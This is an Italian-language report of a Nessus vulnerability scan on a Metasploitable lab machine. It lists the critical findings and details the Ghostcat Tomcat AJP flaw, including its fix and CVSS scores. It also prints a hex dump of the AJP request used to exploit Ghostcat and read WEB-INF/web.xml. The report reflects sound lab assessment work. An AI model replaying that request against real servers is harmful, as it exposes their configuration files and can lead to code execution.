

Questo è il resoconto del basic network scan effettuato sulla macchina Metasploitable:



#### Scan Information

Start time: Thu Feb 22 10:13:50 2024  
End time: Thu Feb 22 10:32:57 2024

#### Host Information

Netbios Name: METASPLOITABLE  
IP: 10.0.2.7  
MAC Address: 08:00:27:2D:50:38  
OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)

E qui abbiamo una prima lista generale delle vulnerabilità critiche trovate sulla macchina:

#### Vulnerabilities

Total: 122

SEVERITY	CVSS V3.0	VPR SCORE	PLUGIN	NAME
CRITICAL	9.8	9.0	134862	Apache Tomcat AJP Connector Request Injection (Ghostcat)
CRITICAL	9.8	-	51988	Bind Shell Backdoor Detection
CRITICAL	9.8	-	20007	SSL Version 2 and 3 Protocol Detection
CRITICAL	9.1	6.0	33447	Multiple Vendor DNS Query ID Field Prediction Cache Poisoning
CRITICAL	10.0	-	171340	Apache Tomcat SEoL (<= 5.5.x)
CRITICAL	10.0	-	33850	Unix Operating System Unsupported Version Detection
CRITICAL	10.0*	5.1	32314	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness
CRITICAL	10.0*	5.1	32321	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness (SSL check)
CRITICAL	10.0*	5.9	11356	NFS Exported Share Information Disclosure
CRITICAL	10.0*	-	61708	VNC Server 'password' Password
HIGH	8.6	5.2	136769	ISC BIND Service Downgrade / Reflected DoS
HIGH	7.5	-	42256	NFS Shares World Readable
HIGH	7.5	6.1	42873	SSL Medium Strength Cipher Suites Supported (SWEET32)
HIGH	7.5	6.7	90509	Samba Badlock Vulnerability

Qui abbiamo la descrizione dettagliata di una delle principali vulnerabilità critiche trovate, con la relativa documentazione allegata per approfondirne le cause:

## Vulnerabilities

### 134862 - Apache Tomcat AJP Connector Request Injection (Ghostcat)

#### Synopsis

There is a vulnerable AJP connector listening on the remote host.

#### Description

A file read/inclusion vulnerability was found in AJP connector. A remote, unauthenticated attacker could exploit this vulnerability to read web application files from a vulnerable server. In instances where the vulnerable server allows file uploads, an attacker could upload malicious JavaServer Pages (JSP) code within a variety of file types and gain remote code execution (RCE).

#### See Also

<http://www.nessus.org/u?8ebe6246>  
<http://www.nessus.org/u?4e287adb>  
<http://www.nessus.org/u?cbc3d54e>  
<https://access.redhat.com/security/cve/CVE-2020-1745>  
<https://access.redhat.com/solutions/4851251>  
<http://www.nessus.org/u?dd218234>  
<http://www.nessus.org/u?dd772531>

E qui un'eventuale soluzione per risolvere la suddetta vulnerabilità:

#### Solution

Update the AJP configuration to require authorization and/or upgrade the Tomcat server to 7.0.100, 8.5.51, 9.0.31 or later.

#### Risk Factor

High

#### CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

#### CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

#### VPR Score

9.0

#### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

#### CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

In questa schermata vediamo un output di caratteri Unicode rilevati dallo scan come: nomi utente, nomi di applicazioni installate e informazioni sul certificato SSL

Nessus was able to exploit the issue using the following request :

```
0x0000: 02 02 00 08 48 54 54 50 2F 31 2E 31 00 00 0F 2F    ....HTTP/1.1.../
0x0010: 61 73 64 66 2F 78 78 78 78 2E 6A 73 70 00 00    asdf/xxxxx.jsp..
0x0020: 09 6C 6F 63 61 6C 68 6F 73 74 00 FF FF 00 09 6C  .localhost.....1
0x0030: 6F 63 61 6C 68 6F 73 74 00 00 50 00 00 09 A0 06  ocalhost..P.....
0x0040: 00 0A 6B 65 65 70 2D 61 6C 69 76 65 00 00 0F 41  ..keep-alive...A
0x0050: 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 00 00  ccept-Language..
0x0060: 0E 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E 35 00  .en-US,en;q=0.5.
0x0070: A0 08 00 01 30 00 00 0F 41 63 63 65 70 74 2D 45  ....0...Accept-E
0x0080: 6E 63 6F 64 69 6E 67 00 00 13 67 7A 69 70 2C 20  ncoding...gzip,
0x0090: 64 65 66 6C 61 74 65 2C 20 73 64 63 68 00 00 0D  deflate, sdch...
0x00A0: 43 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 00 00 09  Cache-Control...
0x00B0: 6D 61 78 2D 61 67 65 3D 30 00 A0 0E 00 07 4D 6F  max-age=0.....Mo
0x00C0: 7A 69 6C 6C 61 00 00 19 55 70 67 72 61 64 65 2D  zilla...Upgrade-
0x00D0: 49 6E 73 65 63 75 72 65 2D 52 65 71 75 65 73 74  Insecure-Request
0x00E0: 73 00 00 01 31 00 A0 01 00 09 74 65 78 74 2F 68  s...1.....text/h
0x00F0: 74 6D 6C 00 A0 0B 00 09 6C 6F 63 61 6C 68 6F 73  tml.....localhos
0x0100: 74 00 0A 00 21 6A 61 76 61 78 2E 73 65 72 76 6C  t...!javax.servl
0x0110: 65 74 2E 69 6E 63 6C 75 64 65 2E 72 65 71 75 65  et.include.reque
0x0120: 73 74 5F 75 72 69 00 00 01 31 00 0A 00 1F 6A 61  st_uri...1....ja
0x0130: 76 61 78 2E 73 65 72 76 6C 65 74 2E 69 6E 63 6C  vax.servlet.incl
0x0140: 75 64 65 2E 70 61 74 68 5F 69 6E 66 6F 00 00 10  ude.path_info...
0x0150: 2F 57 45 42 2D 49 4E 46 2F 77 65 62 2E 78 6D 6C  /WEB-INF/web.xml
0x0160: 00 0A 00 22 6A 61 76 61 78 2E 73 65 72 76 6C 65  ..."javax.servle
0x0170: 74 2E 69 6E 63 6C 75 64 65 2E 73 65 72 76 6C 65  t.include.servle
0x0180: 74 5F 70 61 74 68 00 00 00 00 FF                t_path.....
```

This produced the following truncated output (limate [...])